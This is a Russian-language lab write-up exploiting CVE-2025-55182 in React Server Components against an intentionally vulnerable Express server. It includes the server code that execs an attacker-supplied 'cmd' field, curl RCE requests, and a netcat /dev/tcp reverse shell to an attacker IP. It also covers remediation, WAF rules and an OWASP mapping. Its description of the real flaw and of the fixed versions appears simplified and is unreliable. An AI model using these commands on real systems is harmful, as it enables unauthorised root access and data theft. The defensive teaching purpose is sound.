
Исследование безопасности и анализ эксплуатации CVE-2025-55182 (React) — сопоставление с CVSS и OWASP Top 10
Анализ уязвимости веб-приложения · M2 Cybersecurity · 2025
Автор: Niane Mohamed · LinkedIn
Полная цепочка эксплуатации критической (CVSS 10.0) уязвимости небезопасной десериализации в React Server Components: от разведки до неавторизованного удаленного выполнения кода с полным планом устранения.
Данное исследование нацелено на преднамеренно уязвимое лабораторное приложение, созданное для демонстрации CVE. Все тесты проводились в изолированной виртуальной сети, не имеющей соединения с продуктивными системами, реальными пользовательскими данными или сторонними сервисами.
| Поле | Значение |
|---|---|
| CVE | CVE-2025-55182 |
| Тип | Небезопасная десериализация → Удаленное выполнение кода |
| CVSS v3.1 | 10.0 (Критическая) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Требуется аутентификация | Нет |
| Требуется взаимодействие пользователя | Нет |
| Вектор атаки | Сеть (удаленно) |
| Компонент | Среда выполнения React Server Components (RSC) |
React Server Components ввели новый формат сериализации для потоковой передачи серверных компонентов клиенту. В уязвимых версиях конечная точка RSC принимает JSON-нагрузку с полем cmd, которое без очистки передается в child_process.exec() как часть вычислений серверного рендеринга.
Злоумышленник может отправить подделанный POST-запрос, который:
root в контейнерах)| Компонент | Уязвимый диапазон | Исправлено в |
|---|---|---|
react | 19.0.0 → 19.2.0 | 19.3.0+ |
react-server-dom-webpack | 19.0.0 → 19.2.0 | 19.3.0+ |
react-server-dom-esm | 19.0.0 → 19.2.0 | 19.3.0+ |
| Роль | ОС | Инструменты |
|---|---|---|
| Атакующий | Kali Linux (latest) | nmap, curl, netcat, OWASP ZAP, Firefox |
| Цель | Ubuntu 22.04.4 | Node.js 18, Express, React 19.0 RSC |
| Сеть | VMware VMnet Host-Only | Нет исходящего интернет-трафика |
Минимальный сервер Express + RSC, предоставляющий конечную точку /rsc, которая небезопасно выполняет команды из входящей нагрузки — воспроизводит шаблон уязвимости реального CVE в контролируемых условиях:
// server.js — упрощенный, только для лаборатории
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.use(express.json({ limit: '2mb' }));
app.post('/rsc', (req, res) => {
const payload = req.body?.payload;
if (typeof payload?.cmd === 'string') {
// УЯЗВИМО: выполняет строку, контролируемую атакующим
exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: String(err), stderr });
return res.json({ ok: true, out: stdout });
});
}
});
app.listen(3000);
# Обнаружение порта
nmap 192.168.159.131
# → 3000/tcp open ppp (сервер RSC на Node.js)
# Проверка сервиса
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."
Заголовок X-Powered-By: Express и нестандартный порт 3000 дают надежную идентификацию приложения Node.js — соответствует развертываниям RSC.
Прежде чем пытаться выполнить что-либо разрушительное, проверим уязвимость безвредной командой:
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "id" } }'
# Ответ:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}
✅ Подтверждено: неавторизованное RCE от root. Сервер работает с неограниченными привилегиями.
Переход от выполнения одиночных команд к полноценной интерактивной оболочке:
# Слушатель на машине атакующего
nc -lvnp 4444
# Доставка нагрузки
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'
Слушатель получает:
connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)
С правами root на цели атакующий может тривиально:
/etc/shadow, SSH-ключи, секреты приложения, файлы .env| Ось | Воздействие | Пояснение |
|---|---|---|
| Конфиденциальность | Критическое | Полный доступ на чтение ко всем серверным данным |
| Целостность | Критическое | Возможность изменить код приложения и данные пользователей |
| Доступность | Высокое | Атакующий может остановить сервис или вымогать выкуп |
| Регуляторное | Тяжелое | Нарушение GDPR/DSGVO с обязательным уведомлением в 72 ч · возможный штраф 4% глобальной выручки |
| Репутационное | Тяжелое | Публичная уязвимость с CVE наносит ущерб доверию клиентов |
| Финансовое | Высокое | Реагирование на инцидент, регуляторные штрафы, возможный коллективный иск |
Низкая сложность этой атаки — без аутентификации, без взаимодействия с пользователем, один HTTP-запрос — делает ее привлекательной для:
Обновите React до 19.3.0+ — исправленная версия
npm update react react-server-dom-webpack react-server-dom-esm
Временное правило WAF (если обновление откладывается):
Блокировать POST-запросы к /rsc с JSON-телом, содержащим поле "cmd"
Экстренное реагирование на инцидент:
/rsc| Контроль | Цель |
|---|---|
| Отключить RSC, если не используется | Уменьшить поверхность атаки — многим приложениям не нужны серверные компоненты |
| Строгая проверка входных данных | Отклонять любой десериализованный объект, содержащий исполняемые ключи |
| Пользователь контейнера не root | Ограничить радиус взрыва, если RCE повторится |
| Корневая файловая система только для чтения | Предотвратить постоянство и сброс бинарников |
| Фильтрация исходящего трафика | Блокировать исходящий трафик от серверов приложений к произвольным IP |
| Контроль | Цель |
|---|---|
| WAF с поведенческим анализом | Обнаруживать аномальные POST-нагрузки, выходящие за рамки сигнатурных правил |
| Самозащита приложений во время выполнения (RASP) | Блокировать опасные вызовы функций, такие как exec(), во время выполнения |
| SCA в CI/CD | Выявлять уязвимые зависимости до развертывания (pip-audit, npm audit, Trivy) |
| Регулярные тесты на проникновение | Ежегодно + после каждого крупного релиза |
| Программа bug bounty | Стимулировать ответственное раскрытие до того, как проблему найдут атакующие |
| Категория OWASP | Отношение |
|---|---|
| A03:2021 — Внедрение (Injection) | Внедрение команд через десериализованный ввод |
| A08:2021 — Нарушение целостности программного обеспечения и данных | Небезопасная десериализация без проверки целостности |
| A06:2021 — Уязвимые и устаревшие компоненты | Использование React 19.0-19.2 после раскрытия |
| A05:2021 — Ошибки конфигурации безопасности | Запуск Node.js от root, отсутствие проверки входных данных |
curl, создание обратной оболочки, формирование нагрузокЛицензия MIT — см. LICENSE
Опубликовано в образовательных и защитных исследовательских целях. См. отказ от этической ответственности в начале.
Niane Mohamed — инженер по сетям и безопасности
📍 Нуакшот, Мавритания → ищу возможности в Германии 🇩🇪
📧 [email protected] · 🔗 LinkedIn